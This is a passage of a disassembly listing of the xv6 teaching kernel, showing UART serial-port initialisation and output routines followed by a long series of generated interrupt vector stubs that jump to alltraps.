push %ebp 80105b21: 31 c9 xor %ecx,%ecx 80105b23: 89 c8 mov %ecx,%eax 80105b25: 89 e5 mov %esp,%ebp 80105b27: 57 push %edi 80105b28: 56 push %esi 80105b29: 53 push %ebx 80105b2a: bb fa 03 00 00 mov $0x3fa,%ebx 80105b2f: 89 da mov %ebx,%edx 80105b31: 83 ec 0c sub $0xc,%esp 80105b34: ee out %al,(%dx) 80105b35: bf fb 03 00 00 mov $0x3fb,%edi 80105b3a: b8 80 ff ff ff mov $0xffffff80,%eax 80105b3f: 89 fa mov %edi,%edx 80105b41: ee out %al,(%dx) 80105b42: b8 0c 00 00 00 mov $0xc,%eax 80105b47: ba f8 03 00 00 mov $0x3f8,%edx 80105b4c: ee out %al,(%dx) 80105b4d: be f9 03 00 00 mov $0x3f9,%esi 80105b52: 89 c8 mov %ecx,%eax 80105b54: 89 f2 mov %esi,%edx 80105b56: ee out %al,(%dx) 80105b57: b8 03 00 00 00 mov $0x3,%eax 80105b5c: 89 fa mov %edi,%edx 80105b5e: ee out %al,(%dx) 80105b5f: ba fc 03 00 00 mov $0x3fc,%edx 80105b64: 89 c8 mov %ecx,%eax 80105b66: ee out %al,(%dx) 80105b67: b8 01 00 00 00 mov $0x1,%eax 80105b6c: 89 f2 mov %esi,%edx 80105b6e: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80105b6f: ba fd 03 00 00 mov $0x3fd,%edx 80105b74: ec in (%dx),%al if(inb(COM1+5) == 0xFF) 80105b75: 3c ff cmp $0xff,%al 80105b77: 74 5a je 80105bd3 <uartinit+0xb3> uart = 1; 80105b79: c7 05 bc a5 10 80 01 movl $0x1,0x8010a5bc 80105b80: 00 00 00 80105b83: 89 da mov %ebx,%edx 80105b85: ec in (%dx),%al 80105b86: ba f8 03 00 00 mov $0x3f8,%edx 80105b8b: ec in (%dx),%al ioapicenable(IRQ_COM1, 0); 80105b8c: 83 ec 08 sub $0x8,%esp for(p="xv6...\n"; *p; p++) 80105b8f: bb 08 79 10 80 mov $0x80107908,%ebx ioapicenable(IRQ_COM1, 0); 80105b94: 6a 00 push $0x0 80105b96: 6a 04 push $0x4 80105b98: e8 33 c7 ff ff call 801022d0 <ioapicenable> 80105b9d: 83 c4 10 add $0x10,%esp for(p="xv6...\n"; *p; p++) 80105ba0: b8 78 00 00 00 mov $0x78,%eax 80105ba5: eb 13 jmp 80105bba <uartinit+0x9a> 80105ba7: 89 f6 mov %esi,%esi 80105ba9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105bb0: 83 c3 01 add $0x1,%ebx 80105bb3: 0f be 03 movsbl (%ebx),%eax 80105bb6: 84 c0 test %al,%al 80105bb8: 74 19 je 80105bd3 <uartinit+0xb3> if(!uart) 80105bba: 8b 15 bc a5 10 80 mov 0x8010a5bc,%edx 80105bc0: 85 d2 test %edx,%edx 80105bc2: 74 ec je 80105bb0 <uartinit+0x90> for(p="xv6...\n"; *p; p++) 80105bc4: 83 c3 01 add $0x1,%ebx 80105bc7: e8 04 ff ff ff call 80105ad0 <uartputc.part.0> 80105bcc: 0f be 03 movsbl (%ebx),%eax 80105bcf: 84 c0 test %al,%al 80105bd1: 75 e7 jne 80105bba <uartinit+0x9a> } 80105bd3: 8d 65 f4 lea -0xc(%ebp),%esp 80105bd6: 5b pop %ebx 80105bd7: 5e pop %esi 80105bd8: 5f pop %edi 80105bd9: 5d pop %ebp 80105bda: c3 ret 80105bdb: 90 nop 80105bdc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105be0 <uartputc>: if(!uart) 80105be0: 8b 15 bc a5 10 80 mov 0x8010a5bc,%edx { 80105be6: 55 push %ebp 80105be7: 89 e5 mov %esp,%ebp if(!uart) 80105be9: 85 d2 test %edx,%edx { 80105beb: 8b 45 08 mov 0x8(%ebp),%eax if(!uart) 80105bee: 74 10 je 80105c00 <uartputc+0x20> } 80105bf0: 5d pop %ebp 80105bf1: e9 da fe ff ff jmp 80105ad0 <uartputc.part.0> 80105bf6: 8d 76 00 lea 0x0(%esi),%esi 80105bf9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105c00: 5d pop %ebp 80105c01: c3 ret 80105c02: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105c09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105c10 <uartintr>: void uartintr(void) { 80105c10: 55 push %ebp 80105c11: 89 e5 mov %esp,%ebp 80105c13: 83 ec 14 sub $0x14,%esp consoleintr(uartgetc); 80105c16: 68 a0 5a 10 80 push $0x80105aa0 80105c1b: e8 f0 ab ff ff call 80100810 <consoleintr> } 80105c20: 83 c4 10 add $0x10,%esp 80105c23: c9 leave 80105c24: c3 ret 80105c25 <vector0>: # generated by vectors.pl - do not edit # handlers .globl alltraps .globl vector0 vector0: pushl $0 80105c25: 6a 00 push $0x0 pushl $0 80105c27: 6a 00 push $0x0 jmp alltraps 80105c29: e9 19 fb ff ff jmp 80105747 <alltraps> 80105c2e <vector1>: .globl vector1 vector1: pushl $0 80105c2e: 6a 00 push $0x0 pushl $1 80105c30: 6a 01 push $0x1 jmp alltraps 80105c32: e9 10 fb ff ff jmp 80105747 <alltraps> 80105c37 <vector2>: .globl vector2 vector2: pushl $0 80105c37: 6a 00 push $0x0 pushl $2 80105c39: 6a 02 push $0x2 jmp alltraps 80105c3b: e9 07 fb ff ff jmp 80105747 <alltraps> 80105c40 <vector3>: .globl vector3 vector3: pushl $0 80105c40: 6a 00 push $0x0 pushl $3 80105c42: 6a 03 push $0x3 jmp alltraps 80105c44: e9 fe fa ff ff jmp 80105747 <alltraps> 80105c49 <vector4>: .globl vector4 vector4: pushl $0 80105c49: 6a 00 push $0x0 pushl $4 80105c4b: 6a 04 push $0x4 jmp alltraps 80105c4d: e9 f5 fa ff ff jmp 80105747 <alltraps> 80105c52 <vector5>: .globl vector5 vector5: pushl $0 80105c52: 6a 00 push $0x0 pushl $5 80105c54: 6a 05 push $0x5 jmp alltraps 80105c56: e9 ec fa ff ff jmp 80105747 <alltraps> 80105c5b <vector6>: .globl vector6 vector6: pushl $0 80105c5b: 6a 00 push $0x0 pushl $6 80105c5d: 6a 06 push $0x6 jmp alltraps 80105c5f: e9 e3 fa ff ff jmp 80105747 <alltraps> 80105c64 <vector7>: .globl vector7 vector7: pushl $0 80105c64: 6a 00 push $0x0 pushl $7 80105c66: 6a 07 push $0x7 jmp alltraps 80105c68: e9 da fa ff ff jmp 80105747 <alltraps> 80105c6d <vector8>: .globl vector8 vector8: pushl $8 80105c6d: 6a 08 push $0x8 jmp alltraps 80105c6f: e9 d3 fa ff ff jmp 80105747 <alltraps> 80105c74 <vector9>: .globl vector9 vector9: pushl $0 80105c74: 6a 00 push $0x0 pushl $9 80105c76: 6a 09 push $0x9 jmp alltraps 80105c78: e9 ca fa ff ff jmp 80105747 <alltraps> 80105c7d <vector10>: .globl vector10 vector10: pushl $10 80105c7d: 6a 0a push $0xa jmp alltraps 80105c7f: e9 c3 fa ff ff jmp 80105747 <alltraps> 80105c84 <vector11>: .globl vector11 vector11: pushl $11 80105c84: 6a 0b push $0xb jmp alltraps 80105c86: e9 bc fa ff ff jmp 80105747 <alltraps> 80105c8b <vector12>: .globl vector12 vector12: pushl $12 80105c8b: 6a 0c push $0xc jmp alltraps 80105c8d: e9 b5 fa ff ff jmp 80105747 <alltraps> 80105c92 <vector13>: .globl vector13 vector13: pushl $13 80105c92: 6a 0d push $0xd jmp alltraps 80105c94: e9 ae fa ff ff jmp 80105747 <alltraps> 80105c99 <vector14>: .globl vector14 vector14: pushl $14 80105c99: 6a 0e push $0xe jmp alltraps 80105c9b: e9 a7 fa ff ff jmp 80105747 <alltraps> 80105ca0 <vector15>: .globl vector15 vector15: pushl $0 80105ca0: 6a 00 push $0x0 pushl $15 80105ca2: 6a 0f push $0xf jmp alltraps 80105ca4: e9 9e fa ff ff jmp 80105747 <alltraps> 80105ca9 <vector16>: .globl vector16 vector16: pushl $0 80105ca9: 6a 00 push $0x0 pushl $16 80105cab: 6a 10 push $0x10 jmp alltraps 80105cad: e9 95 fa ff ff jmp 80105747 <alltraps> 80105cb2 <vector17>: .globl vector17 vector17: pushl $17 80105cb2: 6a 11 push $0x11 jmp alltraps 80105cb4: e9 8e fa ff ff jmp 80105747 <alltraps> 80105cb9 <vector18>: .globl vector18 vector18: pushl $0 80105cb9: 6a 00 push $0x0 pushl $18 80105cbb: 6a 12 push $0x12 jmp alltraps 80105cbd: e9 85 fa ff ff jmp 80105747 <alltraps> 80105cc2 <vector19>: .globl vector19 vector19: pushl $0 80105cc2: 6a 00 push $0x0 pushl $19 80105cc4: 6a 13 push $0x13 jmp alltraps 80105cc6: e9 7c fa ff ff jmp 80105747 <alltraps> 80105ccb <vector20>: .globl vector20 vector20: pushl $0 80105ccb: 6a 00 push $0x0 pushl $20 80105ccd: 6a 14 push $0x14 jmp alltraps 80105ccf: e9 73 fa ff ff jmp 80105747 <alltraps> 80105cd4 <vector21>: .globl vector21 vector21: pushl $0 80105cd4: 6a 00 push $0x0 pushl $21 80105cd6: 6a 15 push $0x15 jmp alltraps 80105cd8: e9 6a fa ff ff jmp 80105747 <alltraps> 80105cdd <vector22>: .globl vector22 vector22: pushl $0 80105cdd: 6a 00 push $0x0 pushl $22 80105cdf: 6a 16 push $0x16 jmp alltraps 80105ce1: e9 61 fa ff ff jmp 80105747 <alltraps> 80105ce6 <vector23>: .globl vector23 vector23: pushl $0 80105ce6: 6a 00 push $0x0 pushl $23 80105ce8: 6a 17 push $0x17 jmp alltraps 80105cea: e9 58 fa ff ff jmp 80105747 <alltraps> 80105cef <vector24>: .globl vector24 vector24: pushl $0 80105cef: 6a 00 push $0x0 pushl $24 80105cf1: 6a 18 push $0x18 jmp alltraps 80105cf3: e9 4f fa ff ff jmp 80105747 <alltraps> 80105cf8 <vector25>: .globl vector25 vector25: pushl $0 80105cf8: 6a 00 push $0x0 pushl $25 80105cfa: 6a 19 push $0x19 jmp alltraps 80105cfc: e9 46 fa ff ff jmp 80105747 <alltraps> 80105d01 <vector26>: .globl vector26 vector26: pushl $0 80105d01: 6a 00 push $0x0 pushl $26 80105d03: 6a 1a push $0x1a jmp alltraps 80105d05: e9 3d fa ff ff jmp 80105747 <alltraps> 80105d0a <vector27>: .globl vector27 vector27: pushl $0 80105d0a: 6a 00 push $0x0 pushl $27 80105d0c: 6a 1b push $0x1b jmp alltraps 80105d0e: e9 34 fa ff ff jmp 80105747 <alltraps> 80105d13 <vector28>: .globl vector28 vector28: pushl $0 80105d13: 6a 00 push $0x0 pushl $28 80105d15: 6a 1c push $0x1c jmp alltraps 80105d17: e9 2b fa ff ff jmp 80105747 <alltraps> 80105d1c <vector29>: .globl vector29 vector29: pushl $0 80105d1c: 6a 00 push $0x0 pushl $29 80105d1e: 6a 1d push $0x1d jmp alltraps 80105d20: e9 22 fa ff ff jmp 80105747 <alltraps> 80105d25 <vector30>: .globl vector30 vector30: pushl $0 80105d25: 6a 00 push $0x0 pushl $30 80105d27: 6a 1e push $0x1e jmp alltraps 80105d29: e9 19 fa ff ff jmp 80105747 <alltraps> 80105d2e <vector31>: .globl vector31 vector31: pushl $0 80105d2e: 6a 00 push $0x0 pushl $31 80105d30: 6a 1f push $0x1f jmp alltraps 80105d32: e9 10 fa ff ff jmp 80105747 <alltraps> 80105d37 <vector32>: .globl vector32 vector32: pushl $0 80105d37: 6a 00 push $0x0 pushl $32 80105d39: 6a 20 push $0x20 jmp alltraps 80105d3b: e9 07 fa ff ff jmp 80105747 <alltraps> 80105d40 <vector33>: .globl vector33 vector33: pushl $0 80105d40: 6a 00 push $0x0 pushl $33 80105d42: 6a 21 push $0x21 jmp alltraps 80105d44: e9 fe f9 ff ff jmp 80105747 <alltraps> 80105d49 <vector34>: .globl vector34 vector34: pushl $0 80105d49: 6a 00 push $0x0 pushl $34 80105d4b: 6a 22 push $0x22 jmp alltraps 80105d4d: e9 f5 f9 ff ff jmp 80105747 <alltraps> 80105d52 <vector35>: .globl vector35 vector35: pushl $0 80105d52: 6a 00 push $0x0 pushl $35 80105d54: 6a 23 push $0x23 jmp alltraps 80105d56: e9 ec f9 ff ff jmp 80105747 <alltraps> 80105d5b <vector36>: .globl vector36 vector36: pushl $0 80105d5b: 6a 00 push $0x0 pushl $36 80105d5d: 6a 24 push $0x24 jmp alltraps 80105d5f: e9 e3 f9 ff ff jmp 80105747 <alltraps> 80105d64 <vector37>: .globl vector37 vector37: pushl $0 80105d64: 6a 00 push $0x0 pushl $37 80105d66: 6a 25 push $0x25 jmp alltraps 80105d68: e9 da f9 ff ff jmp 80105747 <alltraps> 80105d6d <vector38>: .globl vector38 vector38: pushl $0 80105d6d: 6a 00 push $0x0 pushl $38 80105d6f: 6a 26 push $0x26 jmp alltraps 80105d71: e9 d1 f9 ff ff jmp 80105747 <alltraps> 80105d76 <vector39>: .globl vector39 vector39: pushl $0 80105d76: 6a 00 push $0x0 pushl $39 80105d78: 6a 27 push $0x27 jmp alltraps 80105d7a: e9 c8 f9 ff ff jmp 80105747 <alltraps> 80105d7f <vector40>: .globl vector40 vector40: pushl $0 80105d7f: 6a 00 push $0x0 pushl $40 80105d81: 6a 28 push $0x28 jmp alltraps 80105d83: e9 bf f9 ff ff jmp 80105747 <alltraps> 80105d88 <vector41>: .globl vector41 vector41: pushl $0 80105d88: 6a 00 push $0x0 pushl $41 80105d8a: 6a 29 push $0x29 jmp alltraps 80105d8c: e9 b6 f9 ff ff jmp 80105747 <alltraps> 80105d91 <vector42>: .globl vector42 vector42: pushl $0 80105d91: 6a 00 push $0x0 pushl $42 80105d93: 6a 2a push $0x2a jmp alltraps 80105d95: e9 ad f9 ff ff jmp 80105747 <alltraps> 80105d9a <vector43>: .globl vector43 vector43: pushl $0 80105d9a: 6a 00 push $0x0 pushl $43 80105d9c: 6a 2b push $0x2b jmp alltraps 80105d9e: e9 a4 f9 ff ff jmp 80105747 <alltraps> 80105da3 <vector44>: .globl vector44 vector44: pushl $0 80105da3: 6a 00 push $0x0 pushl $44 80105da5: 6a 2c push $0x2c jmp alltraps 80105da7: e9 9b f9 ff ff jmp 80105747 <alltraps> 80105dac <vector45>: .globl vector45 vector45: pushl $0 80105dac: 6a 00 push $0x0 pushl $45 80105dae: 6a 2d push $0x2d jmp alltraps 80105db0: e9 92 f9 ff ff jmp 80105747 <alltraps> 80105db5 <vector46>: .globl vector46 vector46: pushl $0 80105db5: 6a 00 push $0x0 pushl $46 80105db7: 6a 2e push $0x2e jmp alltraps 80105db9: e9 89 f9 ff ff jmp 80105747 <alltraps> 80105dbe <vector47>: .globl vector47 vector47: pushl $0 80105dbe: 6a 00 push $0x0 pushl $47 80105dc0: 6a 2f push $0x2f jmp alltraps 80105dc2: e9 80 f9 ff ff jmp 80105747 <alltraps> 80105dc7 <vector48>: .globl vector48 vector48: pushl $0 80105dc7: 6a 00 push $0x0 pushl $48 80105dc9: 6a 30 push $0x30 jmp alltraps 80105dcb: e9 77 f9 ff ff jmp 80105747 <alltraps> 80105dd0 <vector49>: .globl vector49 vector49: pushl $0 80105dd0: 6a 00 push $0x0 pushl $49 80105dd2: 6a 31 push $0x31 jmp alltraps 80105dd4: e9 6e f9 ff ff jmp 80105747 <alltraps> 80105dd9 <vector50>: .globl vector50 vector50: pushl $0 80105dd9: 6a 00 push $0x0 pushl $50 80105ddb: 6a 32 push $0x32 jmp alltraps 80105ddd: e9 65 f9 ff ff jmp 80105747 <alltraps> 80105de2 <vector51>: .globl vector51 vector51: pushl $0 80105de2: 6a 00 push $0x0 pushl $51 80105de4: 6a 33 push $0x33 jmp alltraps 80105de6: e9 5c f9 ff ff jmp 80105747 <alltraps> 80105deb <vector52>: .globl vector52 vector52: pushl $0 80105deb: 6a 00 push $0x0 pushl $52 80105ded: 6a 34 push $0x34 jmp alltraps 80105def: e9 53 f9 ff ff jmp 80105747 <alltraps> 80105df4 <vector53>: .globl vector53 vector53: pushl $0 80105df4: 6a 00 push $0x0 pushl $53 80105df6: 6a 35 push $0x35 jmp alltraps 80105df8: e9 4a f9 ff ff jmp 80105747 <alltraps> 80105dfd <vector54>: .globl vector54 vector54: pushl $0 80105dfd: 6a 00 push $0x0 pushl $54 80105dff: 6a 36 push $0x36 jmp alltraps 80105e01: e9 41 f9 ff ff jmp 80105747 <alltraps> 80105e06 <vector55>: .globl vector55 vector55: pushl $0 80105e06: 6a 00 push $0x0 pushl $55 80105e08: 6a 37 push $0x37 jmp alltraps 80105e0a: e9 38 f9 ff ff jmp 80105747 <alltraps> 80105e0f <vector56>: .globl vector56 vector56: pushl $0 80105e0f: 6a 00 push $0x0 pushl $56 80105e11: 6a 38 push $0x38 jmp alltraps 80105e13: e9 2f f9 ff ff jmp 80105747 <alltraps> 80105e18 <vector57>: .globl vector57 vector57: pushl $0 80105e18: 6a 00 push $0x0 pushl $57 80105e1a: 6a 39 push $0x39 jmp alltraps 80105e1c: e9 26 f9 ff ff jmp 80105747 <alltraps> 80105e21 <vector58>: .globl vector58 vector58: pushl $0 80105e21: 6a 00 push $0x0 pushl $58 80105e23: 6a 3a push $0x3a jmp alltraps 80105e25: e9 1d f9 ff ff jmp 80105747 <alltraps> 80105e2a <vector59>: .globl vector59 vector59: pushl $0 80105e2a: 6a 00 push $0x0 pushl $59 80105e2c: 6a 3b push $0x3b jmp alltraps 80105e2e: e9 14 f9 ff ff jmp 80105747 <alltraps> 80105e33 <vector60>: .globl vector60 vector60: pushl $0 80105e33: 6a 00 push $0x0 pushl $60 80105e35: 6a 3c push $0x3c jmp alltraps 80105e37: e9 0b f9 ff ff jmp 80105747 <alltraps> 80105e3c <vector61>: .globl vector61 vector61: pushl $0 80105e3c: 6a 00 push $0x0 pushl $61 80105e3e: 6a 3d push $0x3d jmp alltraps 80105e40: e9 02 f9 ff ff jmp 80105747 <alltraps> 80105e45 <vector62>: .globl vector62 vector62: pushl $0 80105e45: 6a 00 push $0x0 pushl $62 80105e47: 6a 3e push $0x3e jmp alltraps 80105e49: e9 f9 f8 ff ff jmp 80105747 <alltraps> 80105e4e <vector63>: .globl vector63 vector63: pushl $0 80105e4e: 6a 00 push $0x0 pushl $63 80105e50: 6a 3f push $0x3f jmp alltraps 80105e52: e9 f0 f8 ff ff jmp 80105747 <alltraps> 80105e57 <vector64>: .globl vector64 vector64: pushl $0 80105e57: 6a 00 push $0x0 pushl $64 80105e59: 6a 40 push $0x40 jmp alltraps 80105e5b: e9 e7 f8 ff ff jmp 80105747 <alltraps> 80105e60 <vector65>: .globl vector65 vector65: pushl $0 80105e60: 6a 00 push $0x0 pushl $65 80105e62: 6a 41 push $0x41 jmp alltraps 80105e64: e9 de f8 ff ff jmp 80105747 <alltraps> 80105e69 <vector66>: .globl vector66 vector66: pushl $0 80105e69: 6a 00 push $0x0 pushl $66 80105e6b: 6a 42 push $0x42 jmp alltraps 80105e6d: e9 d5 f8 ff ff jmp 80105747 <alltraps> 80105e72 <vector67>: .globl vector67 vector67: pushl $0 80105e72: 6a 00 push $0x0 pushl $67 80105e74: 6a 43 push $0x43 jmp alltraps 80105e76: e9 cc f8 ff ff jmp 80105747 <alltraps> 80105e7b <vector68>: .globl vector68 vector68: pushl $0 80105e7b: 6a 00 push $0x0 pushl $68 80105e7d: 6a 44 push $0x44 jmp alltraps 80105e7f: e9 c3 f8 ff ff jmp 80105747 <alltraps> 80105e84 <vector69>: .globl vector69 vector69: pushl $0 80105e84: 6a 00 push $0x0 pushl $69 80105e86: 6a 45 push $0x45 jmp alltraps 80105e88: e9 ba f8 ff ff jmp 80105747 <alltraps> 80105e8d <vector70>: .globl vector70 vector70: pushl $0 80105e8d: 6a 00 push $0x0 pushl $70 80105e8f: 6a 46 push $0x46 jmp alltraps 80105e91: e9 b1 f8 ff ff jmp 80105747 <alltraps> 80105e96 <vector71>: .globl vector71 vector71: pushl $0 80105e96: 6a 00 push $0x0 pushl $71 80105e98: 6a 47 push $0x47 jmp alltraps 80105e9a: e9 a8 f8 ff ff jmp 80105747 <alltraps> 80105e9f <vector72>: .globl vector72 vector72: pushl $0 80105e9f: 6a 00 push $0x0 pushl $72 80105ea1: 6a 48 push $0x48 jmp alltraps 80105ea3: e9 9f f8 ff ff jmp 80105747 <alltraps> 80105ea8 <vector73>: .globl vector73 vector73: pushl $0 80105ea8: 6a 00 push $0x0 pushl $73 80105eaa: 6a 49 push $0x49 jmp alltraps 80105eac: e9 96 f8 ff ff jmp 80105747 <alltraps> 80105eb1 <vector74>: .globl vector74 vector74: pushl $0 80105eb1: 6a 00 push $0x0 pushl $74 80105eb3: 6a 4a push $0x4a jmp alltraps 80105eb5: e9 8d f8 ff ff jmp 80105747 <alltraps> 80105eba <vector75>: .globl vector75 vector75: pushl $0 80105eba: 6a 00 push $0x0 pushl $75 80105ebc: 6a 4b push $0x4b jmp alltraps 80105ebe: e9 84 f8 ff ff jmp 80105747 <alltraps> 80105ec3 <vector76>: .globl vector76 vector76: pushl $0 80105ec3: 6a 00 push $0x0 pushl $76 80105ec5: 6a 4c push $0x4c jmp alltraps 80105ec7: e9 7b f8 ff ff jmp 80105747 <alltraps> 80105ecc <vector77>: .globl vector77 vector77: pushl $0 80105ecc: 6a 00 push $0x0 pushl $77 80105ece: 6a 4d push $0x4d jmp alltraps 80105ed0: e9 72 f8 ff ff jmp 80105747 <alltraps> 80105ed5 <vector78>: .globl vector78 vector78: pushl $0 80105ed5: 6a 00 push $0x0 pushl $78 80105ed7: 6a 4e push $0x4e jmp alltraps 80105ed9: e9 69 f8 ff ff jmp 80105747 <alltraps> 80105ede <vector79>: .globl vector79 vector79: pushl $0 80105ede: 6a 00 push $0x0 pushl $79 80105ee0: 6a 4f push $0x4f jmp alltraps 80105ee2: e9 60 f8 ff ff jmp 80105747 <alltraps> 80105ee7 <vector80>: .globl vector80 vector80: pushl $0 80105ee7: 6a 00 push $0x0 pushl $80 80105ee9: 6a 50 push $0x50 jmp alltraps 80105eeb: e9 57 f8 ff ff jmp 80105747 <alltraps> 80105ef0 <vector81>: .globl vector81 vector81: pushl $0 80105ef0: 6a 00 push $0x0 pushl $81 80105ef2: 6a 51 push $0x51 jmp alltraps 80105ef4: e9 4e f8 ff ff jmp 80105747 <alltraps> 80105ef9 <vector82>: .globl vector82 vector82: pushl $0 80105ef9: 6a 00 push $0x0 pushl $82 80105efb: 6a 52 push $0x52 jmp alltraps 80105efd: e9 45 f8 ff ff jmp 80105747 <alltraps> 80105f02 <vector83>: .globl vector83 vector83: pushl $0 80105f02: 6a 00 push $0x0 pushl $83 80105f04: 6a 53 push $0x53 jmp alltraps 80105f06: e9 3c f8 ff ff jmp 80105747 <alltraps> 80105f0b <vector84>: .globl vector84 vector84: pushl $0 80105f0b: 6a 00 push $0x0 pushl $84 80105f0d: 6a 54 push $0x54 jmp alltraps 80105f0f: e9 33 f8 ff ff jmp 80105747 <alltraps> 80105f14 <vector85>: .globl vector85 vector85: pushl $0 80105f14: 6a 00 push $0x0 pushl $85 80105f16: 6a 55 push $0x55 jmp alltraps 80105f18: e9 2a f8 ff ff jmp 80105747 <alltraps> 80105f1d <vector86>: .globl vector86 vector86: pushl $0 80105f1d: 6a 00 push $0x0 pushl $86 80105f1f: 6a 56 push $0x56 jmp alltraps 80105f21: e9 21 f8 ff ff jmp 80105747 <alltraps> 80105f26 <vector87>: .globl vector87 vector87: pushl $0 80105f26: 6a 00 push $0x0 pushl $87 80105f28: 6a 57 push $0x57 jmp alltraps 80105f2a: e9 18 f8 ff ff jmp 80105747 <alltraps> 80105f2f <vector88>: .globl vector88 vector88: pushl $0 80105f2f: 6a 00 push $0x0 pushl $88 80105f31: 6a 58 push $0x58 jmp alltraps 80105f33: e9 0f f8 ff ff jmp 80105747 <alltraps> 80105f38 <vector89>: .globl vector89 vector89: pushl $0 80105f38: 6a 00 push $0x0 pushl $89 80105f3a: 6a 59 push $0x59 jmp alltraps 80105f3c: e9 06 f8 ff ff jmp 80105747 <alltraps> 80105f41 <vector90>: .globl vector90 vector90: pushl $0 80105f41: 6a 00 push $0x0 pushl $90 80105f43: 6a 5a push $0x5a jmp alltraps 80105f45: e9 fd f7 ff ff jmp 80105747 <alltraps> 80105f4a <vector91>: .globl vector91 vector91: pushl $0 80105f4a: 6a 00 push $0x0 pushl $91 80105f4c: 6a 5b push $0x5b jmp alltraps 80105f4e: e9 f4 f7 ff ff jmp 80105747 <alltraps> 80105f53 <vector92>: .globl vector92 vector92: pushl $0 80105f53: 6a 00 push $0x0 pushl $92 80105f55: 6a 5c push $0x5c jmp alltraps 80105f57: e9 eb f7 ff ff jmp 80105747 <alltraps> 80105f5c <vector93>: .globl vector93 vector93: pushl $0 80105f5c: 6a 00 push $0x0 pushl $93 80105f5e: 6a 5d push $0x5d jmp alltraps 80105f60: e9 e2 f7 ff ff jmp 80105747 <alltraps> 80105f65 <vector94>: .globl vector94 vector94: pushl $0 80105f65: 6a 00 push $0x0 pushl $94 80105f67: 6a 5e push $0x5e jmp alltraps 80105f69: e9 d9 f7 ff ff jmp 80105747 <alltraps> 80105f6e <vector95>: .globl vector95 vector95: pushl $0 80105f6e: 6a 00 push $0x0 pushl $95 80105f70: 6a 5f push $0x5f jmp alltraps 80105f72: e9 d0 f7 ff ff jmp 80105747 <alltraps> 80105f77 <vector96>: .globl vector96 vector96: pushl $0 80105f77: 6a 00 push $0x0 pushl $96 80105f79: 6a 60 push $0x60 jmp alltraps 80105f7b: e9 c7 f7 ff ff jmp 80105747 <alltraps> 80105f80 <vector97>: .globl vector97 vector97: pushl $0 80105f80: 6a 00 push $0x0 pushl $97 80105f82: 6a 61 push $0x61 jmp alltraps 80105f84: e9 be f7 ff ff jmp 80105747 <alltraps> 80105f89 <vector98>: .globl vector98 vector98: pushl $0 80105f89: 6a 00 push $0x0 pushl $98 80105f8b: 6a 62 push $0x62 jmp alltraps 80105f8d: e9 b5 f7 ff ff jmp 80105747 <alltraps> 80105f92 <vector99>: .globl vector99 vector99: pushl $0 80105f92: 6a 00 push $0x0 pushl $99 80105f94: 6a 63 push $0x63 jmp alltraps 80105f96: e9 ac f7 ff ff jmp 80105747 <alltraps> 80105f9b <vector100>: .globl vector100 vector100: pushl $0 80105f9b: 6a 00 push $0x0 pushl $100 80105f9d: 6a 64 push $0x64 jmp alltraps 80105f9f: e9 a3 f7 ff ff jmp 80105747 <alltraps> 80105fa4 <vector101>: .globl vector101 vector101: pushl $0 80105fa4: 6a 00 push $0x0 pushl $101 80105fa6: 6a 65 push $0x65 jmp alltraps 80105fa8: e9 9a f7 ff ff jmp 80105747 <alltraps> 80105fad <vector102>: .globl vector102 vector102: pushl $0 80105fad: 6a 00 push $0x0 pushl $102 80105faf: 6a 66 push $0x66 jmp alltraps 80105fb1: e9 91 f7 ff ff jmp 80105747 <alltraps> 80105fb6 <vector103>: .globl vector103 vector103: pushl $0 80105fb6: 6a 00 push $0x0 pushl $103 80105fb8: 6a 67 push $0x67 jmp alltraps 80105fba: e9 88 f7 ff ff jmp 80105747 <alltraps> 80105fbf <vector104>: .globl vector104 vector104: pushl $0 80105fbf: 6a 00 push $0x0 pushl $104 80105fc1: 6a 68 push $0x68 jmp alltraps 80105fc3: e9 7f f7 ff ff jmp 80105747 <alltraps> 80105fc8 <vector105>: .globl vector105 vector105: pushl $0 80105fc8: 6a 00 push $0x0 pushl $105 80105fca: 6a 69 push $0x69 jmp alltraps 80105fcc: e9 76 f7 ff ff jmp 80105747 <alltraps> 80105fd1 <vector106>: .globl vector106 vector106: pushl $0 80105fd1: 6a 00 push $0x0 pushl $106 80105fd3: 6a 6a push $0x6a jmp alltraps 80105fd5: e9 6d f7 ff ff jmp 80105747 <alltraps> 80105fda <vector107>: .globl vector107 vector107: pushl $0 80105fda: 6a 00 push $0x0 pushl $107 80105fdc: 6a 6b push $0x6b jmp alltraps 80105fde: e9 64 f7 ff ff jmp 80105747 <alltraps> 80105fe3 <vector108>: .globl vector108 vector108: pushl $0 80105fe3: 6a 00 push $0x0 pushl $108 80105fe5: 6a 6c push $0x6c jmp alltraps 80105fe7: e9 5b f7 ff ff jmp 80105747 <alltraps> 80105fec <vector109>: .globl vector109 vector109: pushl $0 80105fec: 6a 00 push $0x0 pushl $109 80105fee: 6a 6d push $0x6d jmp alltraps 80105ff0: e9 52 f7 ff ff jmp 80105747 <alltraps> 80105ff5 <vector110>: .globl vector110 vector110: pushl $0 80105ff5: 6a 00 push $0x0 pushl $110 80105ff7: 6a 6e push $0x6e jmp alltraps 80105ff9: e9 49 f7 ff ff jmp 80105747 <alltraps> 80105ffe <vector111>: .globl vector111 vector111: pushl $0 80105ffe: 6a 00 push $0x0 pushl $111 80106000: 6a 6f push $0x6f jmp alltraps 80106002: e9 40 f7 ff ff jmp 80105747 <alltraps> 80106007 <vector112>: .globl vector112 vector112: pushl $0 80106007: 6a 00 push $0x0 pushl $112 80106009: 6a 70 push $0x70 jmp alltraps 8010600b: e9 37 f7 ff ff jmp 80105747 <alltraps> 80106010 <vector113>: .globl vector113 vector113: pushl $0 80106010: 6a 00 push $0x0 pushl $113 80106012: 6a 71 push $0x71 jmp alltraps 80106014: e9 2e f7 ff ff jmp 80105747 <alltraps> 80106019 <vector114>: .globl vector114 vector114: pushl $0 80106019: 6a 00 push $0x0 pushl $114 8010601b: 6a 72 push $0x72 jmp alltraps 8010601d: e9 25 f7 ff ff jmp 80105747 <alltraps> 80106022 <vector115>: .globl vector115 vector115: pushl $0 80106022: 6a 00 push $0x0 pushl $115 80106024: 6a 73 push $0x73 jmp alltraps 80106026: e9 1c f7 ff ff jmp 80105747 <alltraps> 8010602b <vector116>: .globl vector116 vector116: pushl $0 8010602b: 